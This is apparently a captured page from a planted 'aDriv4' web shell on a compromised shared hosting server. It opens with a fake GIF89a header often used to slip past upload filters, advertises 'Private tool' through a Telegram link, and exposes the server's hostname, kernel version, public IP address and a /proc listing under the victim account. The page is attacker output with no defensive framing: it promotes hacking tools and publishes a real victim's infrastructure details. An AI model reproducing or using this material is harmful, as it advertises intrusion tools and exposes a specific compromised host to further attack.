GIF89;aGIF89;aGIF89;a aDriv4 website!

For more Private tool come to me!

https://t.me/aDriv4vz

aDriv4 Web SheLL
 Linux server64.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
 LiteSpeed
 198.54.115.248

Name Type Size Owner/Group Permission Last Modified Actions
. dir - root/root 0555 2024-05-19 08:54:27
.. dir - root/root 0755 2024-05-19 08:32:21
3042334 dir - trueqylo/trueqylo 0555 2025-07-07 10:51:22
739760 dir - trueqylo/trueqylo 0555 2025-07-07 11:02:46
761139 dir - trueqylo/trueqylo 0555 2025-07-07 11:04:05
761185 dir - trueqylo/trueqylo 0555 2025-07-07 11:04:05
763650 dir - trueqylo/trueqylo 0555 2025-07-07 11:04:17
763840 dir - trueqylo/trueqylo 0555 2025-07-07 11:04:18
764075 dir - trueqylo/trueqylo 0555 2025-07-07 11:04:18
acpi dir - root/root 0555 2024-05-19 12:56:04
bus dir - root/root 0555 2024-05-19 12:56:25
driver dir - root/root 0555 2025-07-07 11:04:39
fs dir - root/root 0555 2024-05-19 12:56:25
irq dir - root/root 0555 2024-05-19 12:56:09
kcare dir - root/root 0555 2025-07-07 11:04:39
lve dir - root/root 0555 2025-07-07 11:00:06
net link - trueqylo/trueqylo 0555 2025-07-07 11:04:12
scsi dir - root/root 0555 2024-05-19 12:56:25
self link - trueqylo/trueqylo 0555 2025-07-07 11:02:46
sys dir - root/root 0555 2024-05-19 08:55:57
sysvipc dir - root/root 0555 2025-07-07 11:04:39
thread-self link - trueqylo/trueqylo 0555 2025-07-07 11:04:38
tty dir - root/root 0555 2025-07-07 11:04:39
buddyinfo 0 B root/root 0444 2025-07-07 11:04:39
cgroups 0 B root/root 0444 2025-07-07 11:04:39
cmdline text/plain 0 B root/root 0444 2025-07-07 11:03:04
consoles 0 B root/root 0444 2025-07-07 11:00:15
cpuinfo text/plain 0 B root/root 0444 2025-07-07 11:01:40
crypto 0 B root/root 0444 2025-07-07 11:04:39
devices 0 B root/root 0444 2025-07-07 11:04:39
diskstats 0 B root/root 0444 2025-07-07 11:01:40
dma 0 B root/root 0444 2025-07-07 11:04:39
execdomains 0 B root/root 0444 2025-07-07 11:04:39
fb 0 B root/root 0444 2025-07-07 11:04:39
filesystems text/plain 0 B root/root 0444 2025-07-07 10:59:27
interrupts 0 B root/root 0444 2025-07-07 11:01:46
iomem 0 B root/root 0444 2025-07-07 11:04:39
ioports 0 B root/root 0444 2025-07-07 11:04:39
kallsyms 0 B root/root 0444 2024-05-19 12:56:25
kcore 128 TB root/root 0400 2024-05-19 12:56:04
key-users 0 B root/root 0444 2025-07-07 11:04:39
keys 0 B root/root 0444 2025-07-07 11:04:39
kmsg 0 B root/root 0400 2025-07-07 11:04:39
kpagecgroup 0 B root/root 0400 2025-07-07 11:04:39
kpagecount 0 B root/root 0400 2025-07-07 11:04:39
kpageflags 0 B root/root 0400 2025-07-07 11:04:39
loadavg text/plain 0 B root/root 0444 2025-07-07 11:03:11
locks 0 B root/root 0444 2025-07-07 11:04:39
mdstat 0 B root/root 0444 2025-07-07 11:04:39
meminfo text/plain 0 B root/root 0444 2025-07-07 10:48:53
misc 0 B root/root 0444 2025-07-07 11:04:39
modules 0 B root/root 0444 2025-07-07 11:04:39
mounts text/plain 0 B trueqylo/trueqylo 0444 2025-07-07 11:04:12
mtrr 0 B root/root 0644 2024-05-19 12:56:25
pagetypeinfo 0 B root/root 0400 2025-07-07 11:04:39
partitions 0 B root/root 0444 2025-07-07 11:04:39
sched_debug 0 B root/root 0444 2025-07-07 11:04:39
schedstat 0 B root/root 0444 2025-07-07 11:04:39
slabinfo 0 B root/root 0400 2025-07-07 11:04:39
softirqs 0 B root/root 0444 2025-07-07 11:04:39
stat text/plain 0 B root/root 0444 2025-07-07 10:53:25
swaps 0 B root/root 0444 2024-05-19 08:55:58
sysrq-trigger 0 B root/root 0200 2024-05-19 12:56:25
timer_list 0 B root/root 0400 2025-07-07 11:04:39
uptime text/plain 0 B root/root 0444 2025-07-07 10:48:53
version text/plain 0 B root/root 0444 2025-07-07 11:04:39
vmallocinfo 0 B root/root 0400 2025-07-07 11:04:39
vmstat 0 B root/root 0444 2025-07-07 11:01:42
zoneinfo 0 B root/root 0444 2025-07-07 11:04:39
© aDriv4